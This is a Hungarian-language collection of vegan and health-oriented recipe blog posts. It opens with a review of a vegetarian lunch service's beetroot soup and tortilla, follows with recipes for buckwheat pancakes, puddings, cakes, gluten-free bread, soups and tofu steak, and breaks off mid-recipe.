Az első étel, ami kipróbálhattama Vegalife ebéd-rendelős cég ifjú szakácsának mesterművéből az a
Kókusztejes céklaleves volt.
Ízvilágra hasonlított a gyümölcslevesekhez, mivel enyhén fahéjas szegfűszeges íze volt. Bizonyára került bele más fűszer is, de hát ettől titok a receptje. :) Amúgy őszintén meg kell jegyeznem: nagyon finom leves. Finomabb mint gondoltam valaha, hogy a céklából tényleg ennyire szuper ízben lehet levest készíteni. El is határoztam, hogy itthon egyszer én is ki fogom próbálni, úgy, ahogy ők készítették: kókusztejjel. Egy probléma volt csak vele: bírtam volna még enni belőle egy-két tányérral, mert finom, ízletes volt a leves. Most is itt érzem a számban az ízét, pedig már egy hete is annak, hogy kóstoltam. Nem marad meg mindig az ember emlékezetében az, hogy milyen egyedien jó volt egy-egy étel, ez nekem megmaradt. Ötös skálán a legjobbat érdemli: 5 pont .
A második étel ezzel egy időben érkezett és került elfogyasztásra:
Mexikói tortilla pikáns paradicsomszósszal
Ez az étel a céklalevessel együtt, a céklaleves után, levett a lábamról. A benne lévő káposzta szerzett kellemes íz-meglepetést.
A tortilla tekercs tésztája jónak bizonyult, nem volt vele semmi gond. A töltelék fűszeres ízű volt, fűszeresebb mint, ahogy általában főzök. Egyfajta borsosan fűszeres íz érvényesült az ételben. Ahogy az elején jeleztem, az érdekessége és különlegességek abban rejlett hogy dinsztelt káposzta is volt benne. Néha úgy éreztem hogy borsóval megszórt káposztás tésztát fogyasztok, de ez nekem nagyon tetszett. Mármint a káposzta, a sok bors kevésbé. Érdekes ízélmény volt: Ugyan nem szoktam ennyire borsos fűszeres ételeket enni de ennek ellenére ízlett. A paradicsomos szósz finom volt a kukorica, a bab és a káposzta mellett reszelt répa nyomait is láttam a tekercsekben. Egy baj volt csak, hogy az egész étellel (leves és tortilla tekercsek - 2 db) nem laktam elég jól. Éhes maradtam, igaz, hogy hosszú órák óta nem ettem semmit előtte, lehet ez volt a gond? :(
A mexikói tortilla pontja 4,5 pont (a kevesebb bors többet ért volna:) )
Zárásul csak annyit mondhatok, hogy ez a két étel egy jól sikerült választás volt. Már kóstoltam azóta más ételeket is, és ígérem, jelzem azt is, ha valami nem (eléggé) nyeri majd el tetszésem. Nem leszek elfogult. :)
Banános hajdina palacsinta – Glutén,-tej,-tojásmentes
Vasárnap reggel, kissé álmosan, kint esik az eső és Viki palacsintát kér reggelire. Egy héten egyszer, hétvégén megérdemlünk reggel egy kis finomságot. A kamrámban van hetek óta egy csomag hajdina liszt, nem volt alkalmam semmire felhasználni, mivel az utóbbi időben az itthoni főzés – sütés teljesen visszaszorult.
A hajdina egy nagyon egészséges gabona, tulajdonképpen nemis gabona, hanem mag termés. Mégis mindenki idegenkedik tőle, sokan nem szeretik jellegzetes, karakteres íze miatt.
- Magas rutintartalma miatt őseink a hajdinát a magas vérnyomás kezelésére gyógynövényként használták. Rutin hatóanyagának köszönhetően erősíti a kötőszöveteket és az érrendszert – az erek kötőszövetes állományát – azáltal, hogy részt vesz a sejtfal regenerálódási folyamataiban. Gluténmentes és rendkívül magas a B vitamin család tartalma, rosttartalma.
- A hajdinából régebbi korokban leggyakrabban kását főztek. A legtöbben napjainkban is csak ebben a formában ismerik, pedig a hajdina ennél lényegesen sokoldalúbb.
A lisztjéből például ízletes palacsinta készíthető:
Hozzávalók: 6-8 db amerikai palacsinta
200 g hajdina liszt
3 evőkanál kukorica keményítő
400 ml víz vagy növényi tej
csipet szódabikarbóna
3 db banán
1 kk őrölt fahéj
kókusz olaj a sütéshez
A lisztet, kukorica keményítőt, szódabikarbonát elkeverjük vízzel, palacsinta vagy kerámia sütőben felhevítjük az olajat és kisebb palacsintákat sütünk ki. Amikor a tésztát adagoljuk a tetejére karikára vágott banán szeleteket teszünk amelyeket fahéjjal megszórunk. Majd megfordítjuk a palacsintát és a banános felét is megsütjük.
Én nem használtam semmilyen édesítést, nekünk bőven elég volt az érett banán cukortartalma, amely kissé karamelizálódott. Aki igényli kevés mézzel vagy agave sziruppal, rizssziruppal megcsorgathatja.
Egzotikus gránátalma puding
2014. február 17. Mindennapi ételeink
Érdekes, egzotikus csemege, amely megszínesíti a hétköznapokat :-) Hozzávalók: 1/2 l gránátalmalé 2,5 dl növényi tej 2 ek. kókuszolaj 10 dkg kukoricakeményítő 4 ek. nyírfacukor -- Tálaláshoz: 1 gránátalma kókuszchips Elkészítés: A gránátalmalevet és a tejet feltesszük főni. Előtte 4 evőkanálnyit kiveszünk a tejből, és abban elkeverjük a kukoricakeményítőt és a kókuszzsírt. Amikor forr a puding alapja, akkor hozzáadjuk ezt a keveréket. Keverés mellett csomómentesre főzzük, a nyírfacukrot a végén adjuk hozzá. Friss gránátalmával és kókuszchips-szel tálaljuk.
Kókuszos csoki (egészséges, nyers, cukormentes)
A Facebookon láttam valahol egy hasonló finom csokit, ezt hoztam össze saját ízlés szerint egy plusz kakaóvajjal, hogy “törjön”.
Nagyon finom lett. Többféle variációban készíthető: pl. aszalt gyümölcsdarabokkal kiegészítve, mogyorósan, kókuszreszelék nélkül, plusz csokimázazva a tetején, chilivel, puffasztott rizzsel… stb.
A hozzávalók mennyisége ízlés szerint. A lényeg, hogy egy sűrű massza legyen, amit majd elterítünk sütőpapíron.
Hozzávalók: mandulatejből megmaradt mandulaliszt, kókuszreszelék (kevés), kókuszzsír, kakaóvaj, cukrozatlan kakaópor, méz
A mandulalisztet összekeverjük a kakaóporral (a száraz hozzávalókat), majd belecsurgatjuk a mézet, beleadagoljuk a kókuszzsírt és a megolvasztott kakaóvajat.
Egy sütőpapírral kibélelt formába tesszük, vagy sütőpapírral fedett tányérra, ha nem sok a mennyiség, ellapítjuk laposra, és ezt az egészet dermedésig betesszük a fagyasztóba. Ez csupán néhány perc.
Dermedés után szeletelhető és azonnal fogyasztható.
Hasonló íze van, mint ennek a kókuszgolyónak, csak egy kicsit csokisabb: kókuszgolyó.
Kék mákos piskóta agavé cukorral
2014. február 13. Mindennapi ételeink
Vegán sütemény, amely gyorsan elkészül és nagyon finom. :-) Hozzávalók: 35 dkg finomliszt 1 csomag foszfátmentes sütőpor 0,5 dl növényi tej 15 dkg darált kék mák 15 dkg agavé cukor 3-4 ek. olvasztott kókuszzsír Elkészítés: A liszthez hozzákeverjük a sütőport, a cukrot, a darált mákot és összekeverjük. Lassan hozzáadagoljuk a növényi tejet, és csomómentesre keverjük. Kókuszolajjal kikent és liszttel megszórt tepsibe téve 180 fokon 25-30 perc alatt kisütjük. A tetejét agavé cukorral meghintjük, így tálaljuk.
Trópusi hajdina-tál
2014. február 10. Mindennapi ételeink
Igen finom reggeli csemege. Érdemes kipróbálni. Nem beszélve arról, hogy vitamindús, egészséges is. Hozzávalók: 8 dl 100% ananászlé 8 dkg kukoricakeményítő -- 30 dkg hajdina 4 dl növényi tej 1 tk. citromlé 2 tk. vaníliapor 10 dkg kókuszreszelék 10 dkg nyírfacukor -- 6-8 szem mandarin datolyaszirup Elkészítés: Először elkészítjük a hajdinát: szitába téve alaposan megmossuk, majd a tejet feltesszük főni, amikor forr, ebbe öntjük bele a hajdinát. Körülbelül 30 perc alatt puhára főzzük. Miután megfőtt, ízesítjük vaníliaporral, nyírfacukorral, kókuszreszelékkel és citromlével. Miközben fő a hajdina, elkészítjük az ananászpudingot: felforralunk fel 6 dl 100%-os ananászlevet és a hidegen hagyott 2 dl-ben kikeverjük a kukoricakeményítőt. Amikor felforrt a 6 dl lé, akkor folyamatos kavargatás mellett hozzáadjuk a keményítős oldatot és folyamatosan kavargatva felfőzzük. Ezután rétegezünk: hajdina, ananászpuding, mandarinszeletek és datolyaszirup következik, majd ismételten ugyanez. A tetejére kókuszchipset szórhatunk.
Diós-barackos almás pite
2014. február 8. Éltető ételek
Délután egy gyors édességre vágytak a gyerekek, ez lett belőle. Amíg Zsófi lereszelte az almát, addig összegyúrtam a tésztát. Ez még nem vegán, de nagyon finom. Tészta hozzávalói: - 10 dkg kukoricaliszt - 10 dkg teljes kiőrlésű tönkölyliszt - 10 dkg BL80-as liszt - 1/2 csomag sütőpor - 8 dkg méz vagy kókuszvirág cukor - 1 tojás - 9 dkg vaj - 2-3 ek. tejföl - csipet só Töltelék: - kb. 10 darab alma - citromlé - 1-2 ek. méz - fahéj - kis marék dió - kis marék aszalt barack A tészta hozzávalóiból tésztát gyúrunk, és addig betesszük a hűtőbe, amíg elkészül a töltelék. A töltelékhez az almát lereszeljük, majd kinyomkodjuk belőle a levét. Az igyuk meg nyugodtan. Ezután tegyük hozzá a diót, barackot, citromlevet és a fahéjat, majd édesítsük egy kevés mézzel. Nekem egy 25x25 cm-es jénai tálom van, amit kikentem kókuszolajjal és egy kis liszttel beszórtam. A tészta felét kinyújtottam, és beletettem a tálba. Erre jön a töltelék, majd a tészta másik fele. A széléről levágott tésztából kis csillag formákat szaggattam. Előmelegített sütőben 180 fokon kisütöttem kb. 25-30 perc alatt.
Zserbós palacsintatortácskák (vegán)
Zserbó is, palacsinta is, tortácska is. Szeretem a zserbót, az igazi, házi zserbót, de a palacsintát is. S hát mit tagadjam, a tortákat pedig végképp. Az pedig külön öröm, ha a torta egészséges.
Ennek a palacsintának az a különlegessége, hogy a tésztáját tepsiben (~20x30) sütöttem meg. 3 palacsinta "lapot" készítettem. Ez lett az alapja a zserbónak, majd az összeállított sütit szikkadás után a pohárral kiszaggattam.
A recept:
Hozzávalók:
- 15 dkg teljes kiőrlésű liszt
- 25-30 dkg fehér liszt
- ~ 9-10 dl víz
- 1 csipet só
- 8 dkg lenmag (őrölve)
- 8-10 dkg zabpehely (őrölve)
Töltelék:
- baracklekvár
- dió
- nyírfacukor/nádcukor/gyümölcscukor, stb
Máz:
- karobpor vagy kakópor
- nyírfacukor/nádcukor/gyümölcscukor, stb
- 1-2 ek kókusz zsír
- 1-2 ek víz vagy növényi tej
Elkészítés:
A palacsinta száraz hozzávalóit összekeverjük egy tálban, majd folyamatos keverés közben hozzáöntjük a vizet. Szerintem növényi tejjel vagy szénsavas vízzel is próbálkozhatunk. A zabpehely és lenmag segíti a tésztát abban, amiben máskülönben a tojás. Összekeverés után, elvileg palacsintaszerű tésztát kell kapjunk, enyhén sűrűbb lesz, mint a tojással kikevert. Ha túl sűrű, vízzel hígíthatjuk (ez esetben nem tudunk vékony tésztát sütni palacsintasütővel, és nem is biztos, hogy belül a vastag tészta át tud sülni). Ha túl folyós, keverjünk hozzá még egy kevés lisztet. Ha nem tudjuk megfordítani, mert túl "lágy",vagy leragad, akkor több a víz benne, tehát lisztet kell hozzáadni. Ha nincs gyakorlatunk abban, hogy tojásmentes palacsintát készítsünk, vagy biztosra akarunk menni a tepsiben sütésre szánt nyers palacsinta tésztával, akkor először teszteljük palacsinta sütőben, hogy jól állítottuk-e össze a tésztát.
Ez esetben a palacsinta sütőnket - remélhetőleg teflon bevonatú edény - felmelegítjük. A legelső sütéshez a biztonság kedvéért cseppenthetünk egy-két csepp olajat, vagy tehetünk bele icipici kókuszzsírt. A továbbiakhoz egyáltalán nem használok semmilyen olajat vagy zsírt. De ehhez szükséges, hogy teflon bevonatú sütővel dolgozzunk.
Miután kisültek a "teszt"palacsinták, megtöltjük őket. Majd sütőpapírral bélelt tepsiben megsütjük a palacsinta-zserbó 3 lapját, immár tepsiben, sütőben sütve. A tepsibe kb. 3 merőkanálnyit merünk a nyers, sütésre váró tésztából. Előmelegített sütőbe tesszük. Amikor tapasztaljuk, látjuk, hogy alulról átsült a tészta, a sütőpapír két végénél megfogva megfordítjuk a tepsiben a tésztát. Érdemes ekkor gyorsan egy-két csepp olajat a tepsi aljába (főként a tepsi közepébe) cseppenteni, elkenni gyorsan ecsettel, és így ráfordítani a palacsinta másik felét (ami nem sütőpapíros). Így biztos nem fog a palacsinta másik oldala leragadni. A sütőpapír ne zavarjon, azt később, mikor már mindkét oldala megsült, le tudjuk fejteni. Attól se ijedjünk meg, ha a palacsinta egy része "felhólyagosodik" a sütés során. Helyreáll a "hólyag", amint átfordítjuk a tésztát. (1 lap összesen kb. 20-30 percet sült.)
Ha elkészült a három - megközelítőleg egyforma vastagságú és nagyságú - palacsintalap, nincs más dolgunk, mint diót édesítőszerrel összeaprítani (ha daráljuk, akkor utólag édesítjük). Az első lapot megkenjük jó kis házi baracklekvárral, megszórjuk az édes dió-darálékkal. Ezt követően rátesszük a következő lapot, amivel hasonlóan járunk el, végül az utolsó palacsintalap következik, amire a "csoki"máz jön.
A csokimázat gyorsan és egyszerűen az alábbiak szerint készítjük el: A kókuszzsírt megolvasztjuk, beleszórjuk a karobport (vagy kakaóport), hozzáadunk ízlésünknek megfelelő mennyiségű édesítőt (nádcukor, nyírfacukor, stb.) Alacsony lángon forráspontig keverjük, majd pár csepp vizet is hozzáadunk. Amikor már olyan állaga van, amit a palacsinta tetején el tudunk kenni, akkor szépen elkenjük a mázt. Hűtőben dermesztjük. Ha időközben úgy látjuk, hogy még egy réteg csokimáz jól jönne a tetejére, akkor megismételjük. (Nálam jó lett volna így tenni, de egyéb okok miatt elmaradt.) A megdermedt palacsinta-zserbót felszeleteljük. Ha kör formájú sütiket szeretnénk, szorosan egymáshoz közel pohárral vagy palacsintaszaggatóval "kikorongozzuk".
UI: Valentin-nap közeledtével ugyanezt a "hadműveletet" ;) elkészíthetjük szív alakú pogácsa-szaggatóval, vagy szív alakú tortaformában megsütve a palacsinta-lapokat. (Ez esetben kevesebb tészta kell egy lap sütéséhez.)
Csicseriborsós köles(kása)
2014. február 5. Éltető ételek
Nagyon szeretem a csicseriborsót, a hüvelyesek közül ez a kedvencem. Könnyebben emészthető, itt írtam kedvező élettani hatásáról. Ez az étel gyorsan kész van, ha van előre főzött borsó. A képen látszik, hogy a borsó ki van csírázva. Már jártam így máskor a lencsével, csak most áztatás után a hűtőbe tettem be. Pár nap múlva vettem észre, hogy kicsírázott. Ezt főztem meg babérleveles vízbe. Hozzávalók (2 fő) - 1 nagy hagyma - 2-3 gerezd fokhagyma - 1 sárgarépa kis kockára vágva - 1/2 karalábé kis kockára vágva - 1 csésze brokkoli kis darabokra szedve - 1 csésze főtt csicseriborsó - 1 csésze átmosott köles - só, chili, házi ételízesítő Nagyon hamar elkészül. A hagymát és a reszelt fokhagymát kevés kókuszolajon megpirítom, majd hozzáadom a répát és a brokkolit. Pár percig együtt sütöm, majd hozzáöntöm a megfőtt csicseriborsót kb. 2 csésze főzővízzel. Ezután beleteszem a kölest is és fűszerezem. Kb. 10 perc alatt meg is puhul. Figyeljünk arra, hogy ne legyen száraz, ha szükséges pótoljuk a borsó főzővizével. Fedő alatt hagyjuk még egy picit párolódni.
Vegán földimogyoróvajas banánkenyér
2014. január 28. Zizi kalandjai
Csak egy gyors bejegyzés, mert van sok tennivalóm, de nem akarlak benneteket édességek nélkül hagyni, szóval, ha minden jól megy ezen a banánkenyéren kívül még jön két édes recept január végéig, aztán irány a cukormentes februári kihívás.
Van már néhány banánkenyér recept a blogon és mindegyiket imádom. Ez a földimogyoróvajas verzió azért született meg – mint a banánkenyerek többsége -, mert a hűtőben állt négy szinte feketeségig érett banán és nem volt szívem kidobni, így gyorsan cselekedtem. Mostanában ritkábban sütök, mert kevés rá az idő, de néha bevetem magam a konyhába és jól esik. Persze ez a kenyér is késő este készült és másnap délelőttig nem is ettünk belőle, amíg a fotózás meg nem történt.
A banánkenyér földimogyoróvaj páros már régóta izgatta a fantáziámat és jó, hogy kipróbáltam, mert zseniálisak együtt. Természetesen saját készítésű vajat használtam hozzá, de a boltban kapható is megfelel. Tojás helyett lenmaglisztet tettem bele és sülés során nagyon szépen meg is emelkedett, de mire kihűlt, beesett a teteje, de ez az ízén semmit nem változtatott. Mint a banánkenyerek többsége a banántól puha, omlós és ez napokig így is marad. Én extraként még a szeleteket megkentem földimogyoróvajjal, amikor ettem. Teával, kávéval kiváló reggeli vagy délutáni nasi!
Vegán földimogyoróvajas banánkenyér
Hozzávalók egy 23 cm-es formához:
- 4 db érett banán, villával pépesre törve
- 1 bögre teljeskiörlésű tönkölyliszt
- 1/2 bögre tönköly fehérliszt
- 1 teáskanál sütőpor
- 1 teáskanál szódabikarbóna
- 1/2 teáskanál fahéj
- csipet só
- 3 evőkanál lenmagliszt (őrölt lenmag)
- 6 evőkanál víz
- 1/3 bögre rizstej (szója-, mandula- és zabtej is használható)
- 1/3 bögre földimogyoróvaj
- 1/3 bögre nádcukor
- 3 evőkanál kókuszolaj
- 1 vaníliarúd kikapart magjai
- földimogyoró, felaprítva
Egy tálkában keverjük össze a lenmaglisztet a vízzel és hagyjuk állni 6-8 percig, amíg zselés állagú lesz (ez helyettesíti a tojást). Melegítsük elő a sütőt 180 fokra. A formát béleljük ki sütőpapírral.
Egy tálban keverjük össze a száraz hozzávalókat: lisztek, sütőpor, szódabikarbóna, fahéj, só. Egy másik tálban keverjük össze a nedves hozzávalókat: banánok, rizstej, földimogyoróvaj, kókuszolaj, vanília és nádcukor. Adjuk hozzá a vizes lenmagot. A nedves hozzávalókat öntsük a szárazhoz és jól keverjük el a tésztát.
Ezt öntsük bele az előkészített formába, szórjuk meg az aprított földimogyoróval, majd a 180 fokra előmelegített sütőben süssük, amíg aranybarna lesz (kb. 45-60 perc). Mielőtt kivesszük végezzünk tűpróbát, hogy a kenyér jól átsült-e.
Sütőtök-krémleves tökmagolajjal
Napjainkban nem igazán süt a napocska mifelénk, ezért próbálok sárga színű ételeket is készíteni. A sütőtök magas C-vitamin forrás, kiváló táplálék antioxidáns jellege miatt is. Magas kálium-tartalma van, ennek köszönhetően vértisztító, méregtelenítő hatású. Említést kell még tenni arról, hogy tiamint tartalmaz, így nem csak az emlékezetünket, de a hangulatunkat is képes javítani. Luteinjének köszönhetően pedig a látásjavításban veszi ki szerepét. Egyszerű étel a következő krémleves, de mégis különlegessé tehetjük vele a napunkat. Egy forró, sütőtökből készült krémleves és egy rövid időre minden gond és bú elszáll a közelből. Élvezzük!
A recept:
Hozzávalók:
- 1 kisebb sütőtök
- víz
- ételízesítő
- 5-6 gerezd fokhagyma
- tökmag-olaj
- pirított tökmag
Elkészítés:
A tököt megpucoljuk, kimagozzuk és felaprítjuk. (Nagyon vékony szeletekre vágtuk fel a sütőtököt.)
Az egészet vízzel kb. negyedéig-feléig felöntjük, meghintjük ételízesítővel és pépesre főzzük az apróra vágott fokhagymával együtt. Amikor megfőtt, és valamennyire kihűlt, összeturmixoljuk. Tehetünk hozzá egy kis növényi tejet (pl. kókusztejet). Ha túl sűrű, turmixolás után még önthetünk hozzá némi vizet, és épp egy rottyanásig ismét főzzük.Tálalásnál hidegen sajtolt tökmag olajat csepegtetünk a leves tetejére a tányérokban. Ízlés szerint még tehetünk hozzá tálalásnál pl. apróra vágott újhagymát, vagy csilipaprikát, vagy pirított tökmagot. Igazán finom étel akár családi összejövetelekre, ünnepekre.
Banános-csokis zabtekercs (vegán, félig nyers)
Még karácsonykor vittük ajándékba vendégségbe ezt a nagyjából nyers édességet. Csak azért nagyjából, mert a zabpehely olyan növényi tejjel lett összegyúrva, ami növényi tejporból készült. Nem volt időm a karácsony előtti hajtás mellett még növényi tejet kreálni otthon, így gyorsabbnak és egyszerűbbnek tűnt. Igazából azt szerettem volna kipróbálni, hogy a avokádós csokikrém milyen banánnal párosítva. Igazán finom.
A tekercs receptje:
Hozzávalók:
1/2 kg darált zabpehely
15-20 dkg kókuszreszelék
növényi tejpor
víz
édesítőszer (gyümölcscukor, xilit, méz, nyírfacukor, barnacukor - ki mit használ)
Elkészítés:
A tejporból és vízből kb. 3-4 dl növényi tejet készítünk. (Persze, ha nem sietős, nem tejporos növényi tejet is készíthetünk, "igazi" hozzávalókból - pl. kókusztejet .) A megdarált zabpelyhet és kókuszreszeléket egy tálban összekeverjük, édesítjük ízlésünknek megfelelően, és annyi tejet öntünk rá, hogy az egészből egy nagy gömböcöt, egy golyót tudjunk gyúrni. Kókusszal megszórt deszkán kinyújtjuk, az alábbi csokikrémet elkenjük rajta, egész (héjától megfosztott) banánokat helyezünk el a szélén és feltekerjük.
A csokikrém receptje:
Hozzávalók:
- 1,5-2 db érett nagy avokádó (én másfél darabbal dolgoztam)
- 2-3 dkg karobpor (kakaóval is készíthető)
- 5 dkg kókuszolaj
- 7-10 dkg édesítőszer, pl: nádcukor, nyírfacukor, méz, stb. ki mit használ.)
- 1 csipet tengeri só
Elkészítés:
Vegyük elő a turmixgépet és a fentieket mindet, ebben a sorrendben tegyük bele. Indítsuk el, és hamarosan látni fogjuk hogy milyen fantasztikus krémet kapunk végeredménynek. Olyan krémet, mint a csokitorták csokikrémje. Ha hígabb krémet szeretnénk, adhatunk hozzá egy kevés vizet és így turmixoljuk. Ennél a sütinél én lágyabb krémet készítettem. A kész krémet egyszerűen elkenjük a zabpehelyből készült tésztán. Az egyik szélére rátesszük az egész banánokat, majd annál a végénél kezdve felcsavarjuk. Hűtőben tároljuk tálalásig. Szeletelés előtt 15 perccel érdemes a rudat (vagy rudakat) a hűtőből kivenni. Szép mennyiség lesz belőle. Akiknél nem nagy vendégség/család van, azok fele adaggal is próbálkozhatnak. (Legalább is ami a zabtekercset illeti.) Nagyon laktató. Nem lehet belőle sokat enni, annyira tömény.
Sokhagymás sült batáta zöldbabbal
2014. január 17. Éltető ételek
Mi fán terem a batáta? Hát nem fán, mivel ez egy zöldség gyökere. Más néven édesburgonya. Nemcsak a külföldi termést lehet beszerezni hazánkban, mivel a délkeleti országrészben is termesztik ezt az izletes zöldséget. Egyetlen közepes méretű édesburgonya fedezi a szervezetünknek szükséges napi A és C vitamint, valamint kálium, magnézium, réz és mangán szükségletét. Gazdag béta karotinban, és fehérje tartalma is magasabb más zöldségeknél. Semmi rokonságban nem áll a burgonyával, így táplálkozásilag is kedvezőbben használhatjuk. A burgonya maga a gumó, míg a batáta a gyökér. Glikémiás indexe alacsony, ezért cukorbetegeknek kifejezetten ajánlott. De ne keverjük a csicsókával, mert nem ugyanaz a két növény! Kellemesen sütőtök íze van, viszont az állaga sokkal jobb. Az édesburgonyát ne tartsuk hűtőben, mert a benne lévő cukor átalakul keményítővé. A hámozott, felszeletelt batátát felhasználásig tegyük vízbe, mert hamar oxidálódik. És most nézzük a receptet (2 fő) - 1 kg batáta - 2-3 vöröshagyma - 4-5 gerezd fokhagyma - 10 dkg zöldbab - kókuszolaj - kakukkfű, rozmaring, só, bors, kömény A batátát hámozzuk meg (ha nem bio, egyébként elég neki egy sikálás), és daraboljuk fel közepes kockára. A hagymákat szeleteljük fel. Egy jénait kenjük ki zsírral és tegyük bele a hagymás batátát. Fűszerezzük fel, és tegyük be a sütőbe, úgy 200 fokra. Fedjük le, hogy kicsit párolódni tudjon. Kb. 20 perc elteltével (mikor már kezd puhulni) tegyük hozzá a babot, és süssük együtt még úgy 20 percet. Tálalhatsz hozzá akár feta sajtot is, de önmagában is nagyon finom.
Gluténmentes kalózkenyér (tej-, tojás-, kukorica-, cukormentes)
Régóta itt motoszkált bennem, hogy ki kellene próbálni valami gluténmentes kenyér-féleséget. Leginkább az tartott vissza, hogy mindig kukoricaliszttel készítik (többek közt), amit én nem preferálok. A másik gondolatom az volt, hogy de jó lenne úgy elkészíteni, hogy nem használok "boltokban kapható" lisztkeveréket. Szerettem volna, ahogy a teljes kiőrlésű liszttel készült kenyereknél, úgy ennél sem kell cukrot (vagy édes társait) hozzáadnom az élesztőhöz, de mégis "magas" kenyér legyen. Judit barátnőm gluténmentes étkezést folytat, és vendégségbe hívott magukhoz. Úgy emlékeztem, nem szokott gluténmentes kenyeret készíteni. Gondoltam, megpróbálok hát valami egyedit készíteni neki ajándékba. Így történt, hogy magaménak tudhatom a gluténmentes kenyér receptjét. Sikerült elsőre! Finom is lett, és sokkal kevesebb szelet elég belőle, mint a hagyományos teljes kiőrlésű liszttel készült kenyérből (pedig arra is igaz ez a mondás, szemben a fehér kenyerekkel).
A recept:
Hozzávalók:
- 1 csomag élesztő
- 5,8 dl víz
- 18 dkg köles megdarálva
- 18 dkg hajdina megdarálva
- 18 dkg barna rizs megdarálva
- 5 evőkanál útifű maghéj (LÉT-ELEME!)
- 5 evőkanál megdarált lenmag
- 1 dkg só
- 2-3 evőkanál olaj
- sütőpapír vagy kókuszzsír
- magok (opcionális)
Elkészítés:
Az élesztőt a kenyérsütő üstjébe morzsoljuk. Felöntjük a kimért vízzel. Amíg feloldódik a vízben (nem fog a tetejére feljönni, csak feloldódik), addig megdaráljuk a gabonákat. Mindegyiket külön. A barna rizs fog legtovább tartani. Ha nincs más, kávédarálót is használhatunk. Nekem van egy 500 wattos aprító-daráló gépem, azzal dolgoztam, de korábban már próbálkoztam rizst kávédarálóval őrölni, és ha sokáig daráljuk, lisztes, porszerű lesz. Amikor megvan mindhárom lisztünk, a lenmagot is megdaráljuk (ha épp nincs otthon darálva).
Az élesztős vizet egy kicsit megkeverjük, majd hozzáadunk elsőnek az 5 kanálnyit útifű-maghéjból. Ez az alap ahhoz, hogy jól sikerüljön a kenyér. Várunk kb. 1-2 percet, míg az útifű-maghéj magába szívja a folyadék egy részét. Ezt követően a darált lenmagból is mehet hozzá. Beleszórjuk a három fajta lisztet, a sót, 2-3 evőkanál olajat (olívaolajjal dolgoztam).
A kenyérsütőben a dagasztás programot (dough) választottam. A kis gép 30 percig keverte lapátjával a tésztát. (Kevesebb is elég lett volna, de épp nem voltam a közelében, hogy leállítsam.) Ha kenyérsütő nélkül dolgozunk, akkor fakanállal kell jó alaposan átdolgozni a tésztát (ragacsos lesz). Ezután kivettem, a fűtőtestünk közelébe helyeztem letakarva és kb. 30-40 percig pihentettem, míg a tészta szépen megkelt.
Mivel ajándékként készült, szerettem volna egyedi jelleget neki, így a korábbi ötletet követve kimosott, kókuszzsírral kikent, aprított magokkal meghintett konzervben sütöttem meg. A tésztát 1 nagy és 3 kicsi részre osztva, rögtön a formába tettem, anélkül, hogy újra átgyúrtam volna (elég ragacsos volt a tésztája). (A 3 kicsi forma helyett 2 is elég lett volna, magasabbra kel meg akkor ugyanis.) Érdekes volt nagyon a tészta tapintása. Eltért a korábban megszokott nyers kenyértésztától. Olyan volt, mintha tejszínhabhoz sok-sok lisztet kevertünk volna. Habos jellegű.
Amennyiben kenyérformában sütjük meg, a formába sütőpapírt is tehetünk, és egyszerűen csak beletesszük a megkelt kenyér tésztáját. Meleg helyen, a formát letakarva ismét kelesztjük kb. 40 percet. Előmelegített sütőben kb. 30-40 perc alatt (kinek milyen sütője van) közepes (nem a legnagyobb) lángon megsütjük.
Mivel nem papírban sült, kellett egy kis "szikkadási" idő, míg ki lehetett szedni a formákból. Rácsra téve várjuk meg míg kihűl.
A kenyerecskék este sültek és másnap én is ettem belőlük. Finom volt nagyon. Néhány napig eláll ez a gluténmentes kenyér. Figyeljünk arra, hogy száraz, légmentes helyen tároljuk, ha lassan fogyasztjuk el.
Zöldségpástétom
2014. január 9. Mindennapi ételeink
Egy nagyon egyszerű és gyors, olcsó pástétom receptet hoztam azokra a napokra, amikor majdnem semmi nincsen otthon. Hozzávalók: 4 szem burgonya 2 közepes sárgarépa 1 fej vöröshagyma 1 kápia paprika himalaya só-ízlés szerint 2 ek. sörélesztőpehely 3 ek. kókuszolaj 1 ek. lenmag 1 kisebb csokor petrezselyem ízlés szerint: köménymag, fokhagyma Elkészítés: A burgonyát héjával együtt megfőzzük. A sárgarépát meghámozzuk, felkarikázzuk és szintén megfőzzük. A hagymát hámozást követően felaprítjuk, a paprikát is apró kockákra vágjuk és 2 ek. kókuszolajon megfuttatjuk. A lenmagot kávédarálón megdaráljuk. A megfőtt, lehámozott burgonyát és a sárgarépát villával összetörjük. Hozzáadjuk a megdinsztelt hagymát, fokhagymát, lenmagpelyhet, sót, sörélesztőpelyhet, az apróra vágott petrezselymet és a maradék kókuszolajat. Összekeverjük és kenyérre kenve tálaljuk.
Csípős pirított tofu steak
2014. január 7. Zizi kalandjai
Nem tudom ki, hogy van vele, de én ma este már rosszul lettem az édes íztől, a csokitól és a süteményektől. Telítődtem az elmúlt év során, főleg decemberben. Ahogy kevesebbet süt a nap, az az egy-két-három kocka 70%-os csoki elmaradhatatlan ebéd és vacsora után is. Sőt néha napközben csak úgy… Éreztem, hogy ma estére a testem frissért, nyersért, zöldért kiáltott és mindennél jobban kívántam a cukormentes februári kihívást! Mondjátok, hogy ti is vágytok rá!!!
Szóval az idén sem fog elmaradni a kihívás… szeretnék most szigorúbb lenni magammal (és veletek, ha beszálltok!) és még inkább “megtisztítani” a szervezetemet a savasító ételektől, italoktól. Remélem lesznek társaim a 28 nap alatt és nem magányos farkasként fogok menetelni az úton… ugye van egy cél (méregtelenítés, tisztább test, ragyogóbb bőr, stb.), de mindig az odáig vezető út a legfontosabb. És ha ezt még van is kivel megosztani, akkor hálásak lehetünk! Aki tavaly beszállt, az tudja mire számíthat… aki pedig újként fog csatlakozni, az megtanulja próbára tenni magát, a türelmét, a testét és az édes íz iránti addikcióját. Igen, mindannyian cukorfüggők vagyunk, még ha ezt próbáljuk is tagadni! A lényeg, hogy aki velem tart, az már most kezdje el lélekben felkészíteni magát… persze testben is készülhetünk… például kevesebb csokit eszünk és egy szelet süti helyett inkább válasszunk egy almát uzsonnára.
Édes receptek még lesznek ebben a hónapban, de most itt egy olyan gyors hétköznapi vacsora ötlet, amely feldobhatja a rutinná vált vacsorára készült receptjeink tárházát. Én karácsonykor is elkészítettem és azok, akik még nem próbálták a családból, elismerően bólogattak, hogy a tofu tényleg finom. Egy kis nedves és száraz pác, majd forró, száraz serpenyőben pirítás (majdnem feketítés!) és kész is… tálalhatjuk rizzsel vagy burgonyapürével, bármilyen zöldséggel. Én kelbimbót pirítottam hozzá.
Csípős pirított tofu steak
Hozzávalók 2-3 főre:
- 300 g tofu, felesleges víz kipréselve belőle, majd 4-6 egyforma szeletre vágva
- 4 evőkanál szójaszósz
